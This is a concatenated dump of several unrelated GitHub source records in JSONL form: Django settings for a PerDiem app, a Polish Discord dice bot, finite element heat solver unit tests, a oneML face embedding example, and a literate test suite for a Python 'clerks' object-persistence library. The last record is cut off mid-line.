\"safe_mode\": True},\n \"trusted\": {\n \"extras\": {\"code-friendly\": None},\n \"safe_mode\": False, # Allow raw HTML\n },\n }\n\n # Authentication\n AUTHENTICATION_BACKENDS = (\n \"accounts.backends.GoogleOAuth2Login\",\n \"accounts.backends.GoogleOAuth2Register\",\n \"accounts.backends.FacebookOAuth2Login\",\n \"accounts.backends.FacebookOAuth2Register\",\n \"django.contrib.auth.backends.ModelBackend\",\n )\n SOCIAL_AUTH_PIPELINE = (\n \"social_core.pipeline.social_auth.social_details\",\n \"social_core.pipeline.social_auth.social_uid\",\n \"social_core.pipeline.social_auth.auth_allowed\",\n \"social_core.pipeline.social_auth.social_user\",\n \"social_core.pipeline.user.get_username\",\n \"social_core.pipeline.social_auth.associate_by_email\",\n \"accounts.pipeline.require_email\",\n \"accounts.pipeline.verify_auth_operation\",\n \"social_core.pipeline.user.create_user\",\n \"accounts.pipeline.mark_email_verified\",\n \"accounts.pipeline.save_avatar\",\n \"social_core.pipeline.social_auth.associate_user\",\n \"social_core.pipeline.social_auth.load_extra_data\",\n \"social_core.pipeline.user.user_details\",\n \"accounts.pipeline.send_welcome_email\",\n )\n SOCIAL_AUTH_LOGIN_ERROR_URL = \"/\"\n SOCIAL_AUTH_GOOGLE_OAUTH2_KEY = values.SecretValue(\n environ_name=\"GOOGLE_OAUTH2_KEY\",\n environ_prefix=\"PERDIEM\",\n )\n SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = values.SecretValue(\n environ_name=\"GOOGLE_OAUTH2_SECRET\",\n environ_prefix=\"PERDIEM\",\n )\n SOCIAL_AUTH_FACEBOOK_KEY = values.SecretValue(\n environ_name=\"FACEBOOK_KEY\",\n environ_prefix=\"PERDIEM\",\n )\n SOCIAL_AUTH_FACEBOOK_SECRET = values.SecretValue(\n environ_name=\"FACEBOOK_SECRET\",\n environ_prefix=\"PERDIEM\",\n )\n SOCIAL_AUTH_FACEBOOK_SCOPE = [\"email\"]\n SOCIAL_AUTH_FACEBOOK_PROFILE_EXTRA_PARAMS = {\n \"fields\": \", \".join([\"id\", \"name\", \"email\", \"picture.width(150)\"])\n }\n LOGIN_URL = \"/\"\n LOGIN_REDIRECT_URL = \"/profile/\"\n\n # Email\n EMAIL_BACKEND = \"django.core.mail.backends.filebased.EmailBackend\"\n EMAIL_FILE_PATH = \"/tmp/perdiem/email\"\n TEMPLATED_EMAIL_TEMPLATE_DIR = \"email/\"\n DEFAULT_FROM_EMAIL = \"PerDiem \"\n\n # Stripe\n PINAX_STRIPE_PUBLIC_KEY = values.SecretValue(\n environ_name=\"STRIPE_PUBLIC_KEY\", environ_prefix=\"PERDIEM\"\n )\n PINAX_STRIPE_SECRET_KEY = values.SecretValue(\n environ_name=\"STRIPE_SECRET_KEY\", environ_prefix=\"PERDIEM\"\n )\n PINAX_STRIPE_SEND_EMAIL_RECEIPTS = False\n PERDIEM_PERCENTAGE = 0.1 # 10%\n STRIPE_PERCENTAGE = 0.029 # 2.9%\n STRIPE_FLAT_FEE = 0.3 # $0.30\n DEFAULT_MIN_PURCHASE = 1 # $1\n\n # MailChimp\n MAILCHIMP_API_KEY = values.SecretValue(environ_prefix=\"PERDIEM\")\n MAILCHIMP_LIST_ID = values.SecretValue(environ_prefix=\"PERDIEM\")\n\n # Analytics\n GA_TRACKING_CODE = values.Value(environ_prefix=\"PERDIEM\")\n JACO_API_KEY = values.Value(environ_prefix=\"PERDIEM\")\n ITUNES_AFFILIATE_TOKEN = values.Value(environ_prefix=\"PERDIEM\")\n\n\nclass ProdConfig(BaseConfig):\n DEBUG = False\n\n # Static files (CSS, JavaScript, Images)\n DEFAULT_FILE_STORAGE = \"django_s3_storage.storage.S3Storage\"\n STATICFILES_STORAGE = \"django_s3_storage.storage.StaticS3Storage\"\n AWS_S3_BUCKET_NAME = values.Value(environ_prefix=\"PERDIEM\", environ_required=True)\n\n @property\n def AWS_S3_BUCKET_NAME_STATIC(self):\n return self.AWS_S3_BUCKET_NAME\n\n AWS_ACCESS_KEY_ID = values.SecretValue(environ_prefix=\"PERDIEM\")\n AWS_SECRET_ACCESS_KEY = values.SecretValue(environ_prefix=\"PERDIEM\")\n\n # Email\n EMAIL_BACKEND = \"django_ses.SESBackend\"\n AWS_SES_ACCESS_KEY_ID = values.SecretValue(environ_prefix=\"PERDIEM\")\n AWS_SES_SECRET_ACCESS_KEY = values.SecretValue(environ_prefix=\"PERDIEM\")\n\n SENTRY_DSN = values.SecretValue(environ_prefix=\"PERDIEM\")\n\n @classmethod\n def post_setup(cls):\n super().post_setup()\n\n sentry_sdk.init(dsn=cls.SENTRY_DSN, integrations=[DjangoIntegration()])\n","repo_name":"RevolutionTech/perdiem-django","sub_path":"perdiem/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9973,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"42912852081","text":"from discord.ext import commands\n\nclient = commands.Bot(command_prefix='!')\n\n\n@client.event\nasync def on_message(message):\n # unikamy wpadania bota w pętlę\n if message.author == client.user:\n return\n\n try:\n komenda = message.content.lower()\n # komenda /help\n if komenda.startswith('/help'.format()):\n from Komendy import help\n msg = help.pomoc()\n await message.channel.send(msg)\n\n # komenda /feedback\n elif komenda.startswith('/feedback'.format()):\n from Komendy import feedback\n msg = feedback.sugestie(message)\n await message.channel.send(msg)\n\n # komenda /credits\n if komenda.startswith('/credits'.format()):\n from Komendy import credits\n msg = credits.credit()\n await message.channel.send(msg)\n\n # komenda /roll\n elif komenda.startswith('/r'.format()):\n from Komendy.roll import rzucamy\n for msg in rzucamy(komenda):\n await message.channel.send(msg)\n\n # komenda do dodawania i losowania przykładowych scenariuszy\n elif komenda.startswith('/scenario'.format()):\n from Komendy import feedback\n feedback.scenariusze()\n\n # komenda do dodawania i losowania przykładowych spotkań\n elif komenda.startswith('/event'.format()):\n from Komendy import feedback\n feedback.spotkania()\n\n # komenda do losowania i odczytywania inicjatywy\n elif komenda.startswith('/initiative'.format()):\n from Komendy import initiative\n initiative.inicjatywa(komenda)\n\n except:\n msg = '{0.author.mention} wpisałeś błędną komendę. Spróbuj wpisać /help'.format(message)\n from Komendy import exception\n exception.wyjatek_ogolny(message)\n await message.channel.send(msg)\n\n\n@client.event\nasync def on_ready():\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print('------')\n\n\nclient.run('TOKEN')\n","repo_name":"RomanGlegola/Bot_Discordowy","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8494708445","text":"import unittest\nimport FE_subroutines as FE\n\n\nclass Testphys_coord(unittest.TestCase):\n # Consider only 1 element (nelx = 1, nely = 1).\n # So we have 4 nodes, start from the origin of x-y coordinate,\n # and y=0.5x^2 for bottom edge (see documention of phy_coord function)\n # coordinate: node0=(0,0), node1=(1,0.5), node2=(0,1), node3=(1,1)\n def test_phys_coord_1element(self):\n node0_x = 0.\n node1_y = 0.5\n x, y = FE.phys_coord(1, 1)\n # the output is x (4x1 array) and y (4x1 array)\n self.assertEqual(x[0][0], node0_x)\n self.assertEqual(y[1][0], node1_y)\n\n # Now we test for 4 elements (nelx=2, nely=2), exactly like\n # the figure in documentation of phys_coord\n def test_phys_coord_4elements(self):\n # at x=0.5 ==> y=0.5*(0.5)^2=0.125\n node1_y = 0.125\n node4_x = 0.5\n x, y = FE.phys_coord(2, 2)\n # x (9x1 array) and y (9x1 array) since we have 9 nodes\n self.assertEqual(y[1][0], node1_y)\n self.assertEqual(x[4][0], node4_x)\n\n\nclass Testconnectivity(unittest.TestCase):\n \"\"\"\n (for nelx = 2, nely = 1)\n Global numbering of nodes\n 3---------4----------5\n | | (1) |\n | (0) | ----2\n | ---1-----/\n 0-----/\n Local numbering for element (e)\n 3-----2\n | (e) |\n 0-----1\n \"\"\"\n # We test the connectivity matrix for nelx=2, nely=1, as above.\n # Connectivity returns an array which relates the local\n # numbering to the global numbering. The number of rows of the connectivity\n # is 4 since we use 4-node elements and the number of the columns of\n # the connectivity is equal to number of elements we have.\n # For example, compare the node numbering of element (e) with\n # element (1): 0-->1, 1-->2, 2-->5, 3-->4\n # So the second column of the connectivity will be 1,2,5,4\n def test_connectivity_2elements(self):\n IEN_test = [[0, 1], [1, 2], [4, 5], [3, 4]]\n IEN = FE.connectivity(2, 1)\n\n for i in range(0, 4):\n for j in range(0, 2):\n self.assertEqual(IEN_test[i][j], IEN[i][j])\n\n\nclass TestDirichlet_BCs(unittest.TestCase):\n # we test with same figure as we have for connectivity\n # so, we set the Dirichlet boundary condition of bottom\n # edge to 10 and left edge to -10.\n # so we should have 3 nodes (0,1,2) with 10\n # and 1 node (3) with -10 in e_bc array\n # flags must be [2,2,2,2,0,0], since we have 4 nodes with BCs\n def test_Dirichlet_BCs_2elements(self):\n test_bottom = 10\n test_left = -10\n e_bc, flags = FE.Dirichlet_BCs(2, 1, 10, -10)\n # test bottom edge\n for i in range(0, 3):\n self.assertEqual(e_bc[i][0], test_bottom)\n # test left edge (for the above mesh we have only 1 nodes)\n self.assertEqual(e_bc[3][0], test_left)\n\n # test flags\n for i in range(0, 4):\n self.assertEqual(flags[i][0], 1)\n\n\nclass Testsetup_ID_LM(unittest.TestCase):\n # see the documentation and code for what setup_ID_LM should returns\n def test_setup_ID_LM_2elements(self):\n d0_test = [[10.], [10.], [10.], [-10.], [0.], [0.]]\n ID_test = [[0], [1], [2], [3], [4], [5]]\n LM_test = [[0, 1], [1, 2], [4, 5], [3, 4]]\n d0, ID, LM = FE.setup_ID_LM(2, 1, 10, -10)\n # test initial temperature in the domain\n for i in range(0, 6):\n self.assertEqual(d0[i][0], d0_test[i][0])\n # test ID array\n for i in range(0, 6):\n self.assertEqual(ID[i][0], ID_test[i][0])\n # test LM array\n for i in range(0, 4):\n for j in range(0, 2):\n self.assertEqual(LM[i][j], LM_test[i][j])\n\n\nclass Testbasis(unittest.TestCase):\n \"\"\"\n 3-----2\n | (e) |\n 0-----1\n \"\"\"\n # basis return and 4x1 array as N = [N0 N1 N2 N3], for nodes 0 to 3\n # Origin of (xi, eta) coordinate is\n # at the center of element e. the coordinates of the 4 nodes are\n # node0 = (-1, 1), node1 = (1, -1), node2 = (1, 1), node3 = (-1, 1)\n # for N = basis(-1, 1) N will be N = [[1. 0. 0. 0.]]\n # for N = basis(1, 1) N will be N = [[0. 0. 1. 0.]]\n # test shape function of node0\n def test_basis0(self):\n N_test0 = [[1., 0., 0., 0.]]\n N = FE.basis(-1, -1)\n\n for i in range(0, 4):\n self.assertEqual(N[0][i], N_test0[0][i])\n\n # test shape function of node1\n def test_basis1(self):\n N_test1 = [[0., 1., 0., 0.]]\n N = FE.basis(1, -1)\n\n for i in range(0, 4):\n self.assertEqual(N[0][i], N_test1[0][i])\n\n # test shape function of node2\n def test_basis2(self):\n N_test2 = [[0., 0., 1., 0.]]\n N = FE.basis(1, 1)\n\n for i in range(0, 4):\n self.assertEqual(N[0][i], N_test2[0][i])\n\n # test shape function of node3\n def test_basis3(self):\n N_test3 = [[0., 0., 0., 1.]]\n N = FE.basis(-1, 1)\n\n for i in range(0, 4):\n self.assertEqual(N[0][i], N_test3[0][i])\n\n\nclass Testheat2d(unittest.TestCase):\n # test the final solution\n def test_heat2d_1(self):\n\n nelx = 2\n nely = 3\n T0_bottom = 10\n T0_left = -10\n flux_top = 0\n ngp = 2\n s0 = 6\n # assemble stiffness and forcing vector\n K, f = FE.assembly(nelx, nely, ngp, s0, T0_bottom, T0_left)\n # update forcing vector f by adding flux vector\n F = FE.src_flux(nelx, nely, T0_bottom, T0_left, flux_top, ngp, f)\n # get the prescribed temperature on the boundary nodes\n d0, ID, LM = FE.setup_ID_LM(nelx, nely, T0_bottom, T0_left)\n # find the nodal temperature on the domain\n d = FE.solvedr(nelx, nely, K, F, d0)\n # since we have nelx = 2, the first 3 entries of the d must be\n # equal to prescribed temperature of the bottom edge\n for i in range(0, nelx + 1):\n self.assertEqual(d[i][0], T0_bottom)\n\n def test_heat2d_2(self):\n\n nelx = 2\n nely = 2\n T0_bottom = 5\n T0_left = -2\n flux_top = 0\n ngp = 2\n s0 = 0\n # assemble stiffness and forcing vector\n K, f = FE.assembly(nelx, nely, ngp, s0, T0_bottom, T0_left)\n # update forcing vector f by adding flux vector\n F = FE.src_flux(nelx, nely, T0_bottom, T0_left, flux_top, ngp, f)\n # get the prescribed temperature on the boundary nodes\n d0, ID, LM = FE.setup_ID_LM(nelx, nely, T0_bottom, T0_left)\n # find the nodal temperature on the domain\n d = FE.solvedr(nelx, nely, K, F, d0)\n # since we have nelx = 2, the first 3 entries of the d must be\n # equal to prescribed temperature of the bottom edge\n for i in range(0, nelx + 1):\n self.assertEqual(d[i][0], T0_bottom)\n\n\ndef main():\n unittest.main()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"rezgarshakeri/swe4s_project","sub_path":"src/test_FE_subroutines.py","file_name":"test_FE_subroutines.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8984064996","text":"import pathlib\nimport os\n\nfrom oneML import faceAPI as api\n\nos.environ['ONEML_CPP_MIN_LOG_LEVEL'] = \"ERROR\"\nassets_path = os.path.join(\n str(pathlib.Path(__file__).resolve().parent.parent.parent.absolute()),\n \"assets/images\",\n)\n\n\ndef main():\n manager = api.LicenseManager()\n manager.activate_trial()\n embedder = api.FaceEmbedder(manager)\n utils = api.Utils(manager)\n\n img = utils.read_image_cv(\n os.path.join(\n assets_path, \"register-set/Colin_Powell/colin_powell_0074.jpg\"\n )\n )\n\n result = embedder.embed(img)\n\n print(\"Embedding size: \" + str(result.get_size()))\n print(\n \"Embedding sample: [\"\n + \"\".join(\"{:.6f}, \".format(k) for k in result.get_embedding()[0:5])[:-2]\n + \"]\"\n )\n print(\"Embedding sum: \" + \"\".join(\"{:.5f}\".format(sum(result.get_embedding()))))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"sertiscorp/oneML-bootcamp","sub_path":"apps/python/face_embedder.py","file_name":"face_embedder.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"4338394739","text":"#!/usr/bin/env python2.5\nfrom narrative import testcase, addMethod\nfrom strongbox import *\nfrom unittest import TestCase\nfrom clerks import *\nfrom storage import RamStorage\nimport unittest\n\n# * Clerk: Executive Overview\n\"\"\"\nUse the clerks module if:\n\n - you want to load, save, and query data objects\n in some kind of persistent storage system such\n as a relational database.\n\n - You want to load and save large graphs of\n interconnected objects efficiently, (lazy\n loading and caching)\n\n - You want to add arbitrary behavior when you\n save objects.\n\n\nYou use clerks, you need:\n\n - you use strongbox to define your data classes\n \n - you follow the convention of giving all objects a numeric ID\n \n - you use one of the storage backends provided by the storage\n module (including RamStorage if you just want an in-memory database)\n\n\nClerks allo you write efficient code in both short-lived\nCGI-like environments (thanks to lazy loading), as well\nas long-running server processes (where caching and\nindexing allow fast in-memory operations).\n\nBecause clerks rely heavily on caching, they are NOT designed\nto be used in long-running servers where other programs are\nmaking frequent changes to the underlying database. (It's okay\nfor any number of clients to read the database, of course).\nRather, all clients should write data by dealing directly\nwith the Clerk.\n\"\"\"\n\n# * about this document\n\"\"\"\nThis document serves as exectuable specification for clerks.\nIt contains a detailed explanation of the module as well\nas numerous code sections that serve both as unit tests\nand examples for users.\n\"\"\"\n\n\n# * objects used in the examples\n\nclass Record(Strongbox):\n ID = attr(int)\n value = attr(str)\n next = link(lambda : Record)\n\nclass Node(Strongbox):\n ID = attr(int)\n data = attr(str)\n parent = link(lambda : Node)\n kids = linkset((lambda : Node), \"parent\")\n\n\n\n\"\"\"\nWe'll store each Record in a table called 'records_table'\nand we'll use a column called 'nextID' to hold the ID\nof the 'next' link.\n\"\"\"\n\nRECORD_TABLE = \"record_table\"\nNODE_TABLE = \"node_table\"\n\n\n\n\"\"\"\nTo make this work, we need to define a schema.\nThe schema is just a wrapper around a dictionary,\nwhich maps classes to table names and link attributes\nto foreign key column names.\n\nHere is the schema for our Record object:\n\"\"\"\n\nTEST_SCHEMA = Schema({\n Node: NODE_TABLE,\n Node.parent: \"parentID\",\n Record: RECORD_TABLE,\n Record.next: \"nextID\",\n})\n\n\n\"\"\"\nHere is are top level test structure. Many of our\ntest classes share a common setup, so it makes sense\nto group them into a single TestCase class.\n\nSince these are just tests, we'll be using a RamStorage\nobject, which is a simple collection of tables that stay\nin memory. The exact same concepts apply to any storage\nbackend, however - including MySQL, SQLite, or any other\nservice implementing the storage interface.\n\"\"\"\n\nclass ClerkTest(unittest.TestCase):\n def setUp(self):\n self.storage = RamStorage()\n self.clerk = Clerk(self.storage, TEST_SCHEMA)\n\n\n\n# * basic usagenterface: .store and .fetch\n\"\"\"\nYou need these things to use clerk:\n\n - a strongbox data class (see strongbox.py)\n - an attribute called ID on the strongbox\n - a storage object (see storage.py)\n - a clerks.Schema object (see below)\n\n\nHere's how to store and retrieve a record:\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_basics(self):\n\n # create and store a record\n r = Record(value='hello')\n\n # notice the ID is blank:\n assert r.ID == 0 \n assert r.next is None\n\n # now store it:\n self.clerk.store(r)\n\n # note that the object is updated in place:\n assert r.ID == 1\n assert r.next is None\n\n # here's what's in the table:\n # note the nextID is 0 because r.next is None\n db_row = self.storage.match(RECORD_TABLE)\n assert db_row == [{\"ID\":1, \"value\":\"hello\", \"nextID\":0}], db_row\n\n # now we can retrieve it by passing the ID to fetch\n a = self.clerk.fetch(Record, 1)\n\n # we can also pass in a where clause if we KNOW we'll only\n # get one record back. (To match more than one record, use\n # match. - see below.)\n b = self.clerk.fetch(Record, value='hello')\n\n # and note that we always get the same object,\n # so if you change one, they all change.\n c = self.clerk.fetch(Record, 1)\n assert a is r\n assert b is r\n assert c is r\n\n\n# * storing objects\n\n@addMethod(ClerkTest)\ndef test_store(self):\n self.clerk.store(Record())\n actual = self.storage.match(RECORD_TABLE)\n assert actual == [{\"ID\":1, \"value\":\"\", \"nextID\":0}], actual\n r = self.clerk.fetch(Record, 1)\n assert r.next is None\n\n\n@addMethod(ClerkTest)\ndef test_store_again(self):\n self.clerk.store(Record())\n r = self.clerk.fetch(Record, 1)\n r.value = \"abc\"\n self.clerk.store(r)\n assert len(self.storage.match(RECORD_TABLE))==1\n\n\n\"\"\"\nNote that if you store an object that's connected to\nother objects through strongbox.link , it saves the\nlinked object first.\n\nThis makes sense, because in order to store a foreign\nkey reference in the database, we've got to store the\nforeign object and get its auto-generated key value.\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_store_link(self):\n r = Record(value=\"a\")\n r.next = Record(value=\"b\")\n\n self.clerk.store(r)\n del r\n r = self.clerk.match(Record, value=\"a\")[0]\n assert r.ID == 2, \"didn't save links first!\"\n assert r.next is not None, \"didn't store the link\"\n assert r.next.value==\"b\", \"didn't store link correctly\"\n\n r.next = None\n self.clerk.store(r)\n r = self.clerk.match(Record, value=\"a\")[0]\n assert r.next is None, \"didn't delete link!\"\n\n r = Record(value=\"noNext\")\n self.clerk.store(r)\n r = self.clerk.fetch(Record, value=\"noNext\")\n assert r.next is None\n\n\n\"\"\"\nHowever, with linksets, we have the opposite situation.\nThe parent object has to be stored first so the child\nobjects can reference its primary key.\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_store_linksets(self):\n n1 = Node(data=\"a\")\n n1.kids << Node(data=\"aa\")\n n1.kids << Node(data=\"ab\")\n n1.kids[1].kids << Node(data=\"aba\")\n self.clerk.store(n1)\n assert len(n1.kids)== 2, [(k.ID, k.data) for k in n1.kids] \n\n n = self.clerk.fetch(Node, 1)\n assert n is n1\n assert len(n1.kids)== 2, \\\n \"fetch corrupted kids: %s\" % [(k.ID, k.data) for k in n1.kids]\n\n assert n.ID == 1, \"didn't save parent of linkset first!\"\n assert len(n.kids)== 2, \\\n \"didn't store the linkset: %s\" % [(k.ID, k.data) for k in n.kids]\n assert n.kids[0].data==\"aa\", \"didn't store link correctly\"\n assert n.kids[1].data==\"ab\", \"didn't store link correctly\"\n assert n.kids[1].kids[0].data==\"aba\", \"didn't store link correctly\"\n assert n.kids[0].parent is n\n assert n.kids[1].parent is n\n\n n.kids[1].parent=None\n n.kids.remove(n.kids[1])\n self.clerk.store(n)\n n = self.clerk.match(Node, data=\"a\")[0]\n assert len(n.kids) == 1\n\n\n# * fetching objects\n\n@addMethod(ClerkTest)\ndef test_fetch(self):\n self.clerk.store(Record(value=\"howdy\"))\n\n # we can pass in an ID:\n obj = self.clerk.fetch(Record, 1)\n assert obj.value == \"howdy\"\n\n # or we can use keywords:\n # @TODO: this should probably be deprecated in favor of .matchOne\n obj = self.clerk.fetch(Record, value=\"howdy\")\n assert obj.value == \"howdy\"\n\n\ndef test_fetch_from_wide_table(self):\n \"\"\"\n Supose a strongbox has 1 slot, but the table has 2+ columns.\n We can't just jam those columns into the strongbox,\n because strongbox is *designed* to blow up if you try\n to add new attributes.\n\n But on the other hand, a DBA should be able to add columns\n to the databaes without breaking the code and causing\n AttributeErrors all over the place.\n\n Instead, Clerk should only use the columns that have\n matching attributes, and simply ignore the others.\n\n This sorta violates the concept of OnceAndOnlyOnce,\n because now the tables can be out of sync with the\n data model, but I think it's better than the alternative,\n and this is the sort of thing one could check with\n an automated tool.\n\n #@TODO: write tool to compare DB and object models :)\n \"\"\"\n try:\n self.storage.store(RECORD_TABLE, value=\"a\", extra_column=\"EEK!\")\n a = self.clerk.fetch(Record, 1)\n a.value=\"aa\"\n self.clerk.store(a)\n except AttributeError:\n self.fail(\"shouldn't die when columns outnumber attributes\")\n\n\n@addMethod(ClerkTest)\ndef test_fetch_with_calculated_columns(self):\n \"\"\"\n Along those lines, if the table caches calculated\n fields we need to filter them out when we fetch\n \"\"\"\n class Calculated(StrongBox):\n ID = attr(int)\n a = attr(int)\n def get_b(self):\n return 5\n c = attr(int)\n calc = self.clerk._rowToInstance({\"ID\":0, \"a\":1,\"b\":2,\"c\":3}, Calculated)\n assert calc.a == 1\n assert calc.b == 5\n assert calc.c == 3\n\n # the point is, b has to be ignored because\n # normally it raises an error:\n self.assertRaises(AttributeError, setattr, calc, \"b\", 2)\n\n\n\n# * matching objects\n\n@addMethod(ClerkTest)\ndef test_match(self):\n self.clerk.store(Record(value=\"one\"))\n self.clerk.store(Record(value=\"two\"))\n self.clerk.store(Record(value=\"two\"))\n assert len(self.clerk.match(Record, value=\"zero\")) == 0\n assert len(self.clerk.match(Record, value=\"one\")) == 1\n assert len(self.clerk.match(Record, value=\"two\")) == 2\n\n\n# @TODO: ought to have a test case about where/arlo\n\n\n@addMethod(ClerkTest)\ndef test_matchOne(self):\n self.clerk.store(Record(value=\"one\"))\n self.clerk.store(Record(value=\"two\"))\n self.clerk.store(Record(value=\"two\"))\n\n try:\n self.clerk.matchOne(Record, value=\"zero\")\n self.fail(\"should have failed for not matching\")\n except LookupError: pass\n\n assert isinstance(self.clerk.matchOne(Record, value=\"one\"),\n Record)\n\n try:\n self.clerk.matchOne(Record, value=\"two\")\n self.fail(\"should have failed for matching two\")\n except LookupError: pass\n\n\n\n# * deleting objects\n\"\"\"\nTo delete an object, you simply pass the class and\nkey to clerk.delete()\n\nNote that you are responsible for unlinking the\nobject from other objects in memory so that the\nobject does not get re-saved to the database.\n\"\"\"\n\n@addMethod(ClerkTest)\ndef test_delete(self):\n self.test_fetch()\n self.clerk.delete(Record, 1)\n assert self.storage.match(RECORD_TABLE) == []\n\n\n\n# * Lazyloading with Stubs and Injectors\n\n# ** what are stubs?\n\"\"\"\nStubs are simply strongboxes that have not yet been filled in.\n\nEvery strongbox can at least potentially correspond to a row in\nthe database. Stubs are no exception, but they correspond to rows\nthat the clerk has not yet loaded.\n\nFor example, given a child table with a parentID field, and\na row where parentID=5 , we can infer the existence of a row\nin the parent table having ID=5. \n\nWhen clerk encounters this situation, it will simply create a new\nstrongbox, Parent(ID=5).\n\nNow you can assert that child.parent.ID == 5\n\nBut what happens when you ask for child.parent.name ?\nThe name field is still stored in the database.\n\nRemember, a strongbox is not tightly coupled to the storage\nmechanism. This means it does not have access to the Clerk object,\nso it cannot simply load the data.\n\nInstead, strongboxes implement an interface called Injectable,\nsimilar to the Observable interface from the Obsever Design Pattern\n(which strongbox also implements).\n\nBasically, strongbox allows you to register a callback that gets\nfired off whenever a field like .name is accessed. The injector\ncan then insert (or modify) the data automatically *before* the\n.name field is returned to the caller.\n\nClerks utilize two types of Injectors:\n\n LinkInjector populates in a single stub with live data.\n LinkSetInjector populates a linkset with live objects.\n\n\"\"\"\n\n# ** what are injectors?\n\"\"\"\nImagine that you have a tree of objects 10 levels deep. For\nexample, a relationship mapping bosses to subordinates.\nYou don't want to have to load the whole tree just to retrieve\nthe CEO of a company.\n\nIf we'd gone the SQLObject route, then every object knows\nabout the database, so it's easy to for the object to just load\neach level of the hierarchy directly. But our objects don't\nknow anything about how they're stored. So how to handle that?\n\nWhat we do is we do is create a shell object. That is, an\nobject that holds the place of a record but not the data.\n\nImagine a tree that looks like this:\n\n office - manager - projects\n |\n office - workers - projects\n\n\nclass Office:\n manager = link(lambda: Person)\n workers = linkset(lambda: Person)\n\nclass Person:\n office = link(Office)\n projects = linkset(lambda: Project)\n\nclass Project\n\n# todo: this ought to be modelled with roles, so find\n# a better example for this kind of thing.\n\nThat is, everyone in each office is assigned to\ncertain projects, and every office has some number\nof workers and one manager. This is sort of a contrived\nexample, but it allows us to look at two situations:\nthe list of manager projects for an office and the\nlist of worker projects for an office.\n\nIf you imagine a database with this information, you can see\nit's easy to get all the offices: select * from office.\nIn our scheme here, it looks like clerk.match(Office)\n\nIn the database, the Office table would have managerID\ncolumn, and there would be a separate table for\nworkers: ID, officeID, personID\n\n...\n\nI'm trying to show that we have empty objects, and you can't\ntell what state they're in until they're observed.\n\nPEAK seems to do this with bindings...\nSQLObject seems to just hold on to the database connection.\nclerk takes advantage of injectors.\n\nStart with linkset. They're just like select all.\n\nBut what if it's a 1-1 relationship? some options:\n\n a load each one individually (explosion!)\n b do the join up front in sql\n c load and cache the whole table\n d don't load anything\n\nArlo takes option c or d. option b would be nice but isn't\nimplemented. So I want to show that you can load a hollow manager\nobject and it will know its ID, and can therefore load its projects\nwithout ever reading the manager data from the database!!\n\nWhat about the tree explosion? Well, you can just read the\nwhole table at once up front...\n\n\n\"\"\"\n# ** LinkInjector\n\n\n@addMethod(ClerkTest)\ndef test_link_injection(self):\n self.storage.store(RECORD_TABLE, value=\"a\", nextID=2)\n self.storage.store(RECORD_TABLE, value=\"b\", nextID=3)\n self.storage.store(RECORD_TABLE, value=\"c\", nextID=None)\n\n a = self.clerk.fetch(Record, 1)\n\n self.assertEquals('a', a.value)\n assert a.next.private.isStub\n assert len(a.next.private.injectors) == 1\n self.assertEquals('b', a.next.value)\n self.assertEquals('c', a.next.next.value)\n assert a.next.next.next is None\n\n\n\"\"\"\nHere's a more involved example.\n\"\"\"\n\n@testcase\ndef test_link_inject(self):\n\n class Foreign(Strongbox):\n ID = attr(int)\n data = attr(str)\n\n # there's no explicit test for this,\n # but this is here to make sure that inject\n # handles stored calculated fields properly\n def get_calc(self):\n return 2+2\n\n class Local(Strongbox):\n ref = link(Foreign)\n\n schema = Schema({\n Foreign: \"foregin\",\n Local: \"local\",\n Local.ref: \"foreignID\",\n })\n clerk = RamClerk(schema)\n\n # first, we store an object...\n clerk.store(Foreign(data=\"Here I come to save the day!\"))\n\n # now here's the local object with a stubbed out reference\n # to that object.\n \n # (note: you wouldn't normally do this by hand, since\n # clerk does it for you)\n \n obj = Local()\n assert obj.ref is None\n obj.ref = Foreign(ID=1)\n obj.ref.private.isStub = True # required!\n\n obj.ref.addInjector(LinkInjector(clerk, Foreign, 1).inject)\n assert len(obj.ref.private.injectors) == 1\n\n # should be able to fetch the ID without triggering load\n assert obj.ref.ID == 1\n assert obj.ref.private.data == \"\"\n assert len(obj.ref.private.injectors) == 1\n\n # but getting any other field triggers the load...\n self.assertEquals(\"Here I come to save the day!\", obj.ref.data)\n assert len(obj.ref.private.injectors) == 0\n\n\n# ** LinksetInjector\n\n@addMethod(ClerkTest)\ndef test_linkset_injection(self):\n self.storage.store(NODE_TABLE, data=\"top\", parentID=None)\n self.storage.store(NODE_TABLE, data=\"a\", parentID=1)\n self.storage.store(NODE_TABLE, data=\"a.a\", parentID=2)\n self.storage.store(NODE_TABLE, data=\"b\", parentID=1)\n\n top = self.clerk.fetch(Node, 1)\n assert top.kids[0].data == \"a\"\n assert top.kids[1].data == \"b\"\n assert top.kids[1].kids == []\n assert top.kids[0].kids[0].data == \"a.a\"\n\n\n\n@testcase\ndef test_linkset_inject(self):\n\n\n class Content(Strongbox):\n ID = attr(int)\n box = link(lambda : Package)\n data = attr(str)\n\n\n class Package(Strongbox):\n ID = attr(int)\n refs = linkset(Content, \"box\")\n\n\n ms = RamStorage()\n ms.store(\"Package\")\n ms.store(\"Content\", data=\"I'm content\", boxID=1)\n ms.store(\"Content\", data=\"I'm mal content\", boxID=1)\n\n schema = Schema({\n Content: \"content\",\n Content.box: \"boxID\",\n Package: \"package\",\n })\n\n clerk = Clerk(ms, schema)\n\n pak = Package()\n pak.refs << Content(data=\"I'm content\", box=pak)\n pak.refs << Content(data=\"I'm malcontent\", box=pak)\n pak = clerk.store(pak)\n\n # @TODO: should be able to add to the index without\n # triggering load (for performance reasons)\n # -- so long as any other use DOES trigger load --\n\n\n clerk.cache.clear()\n pak = clerk.fetch(Package, ID=1)\n\n # asking for .refs will trigger the load:\n assert len(pak.private.refs) == 0, 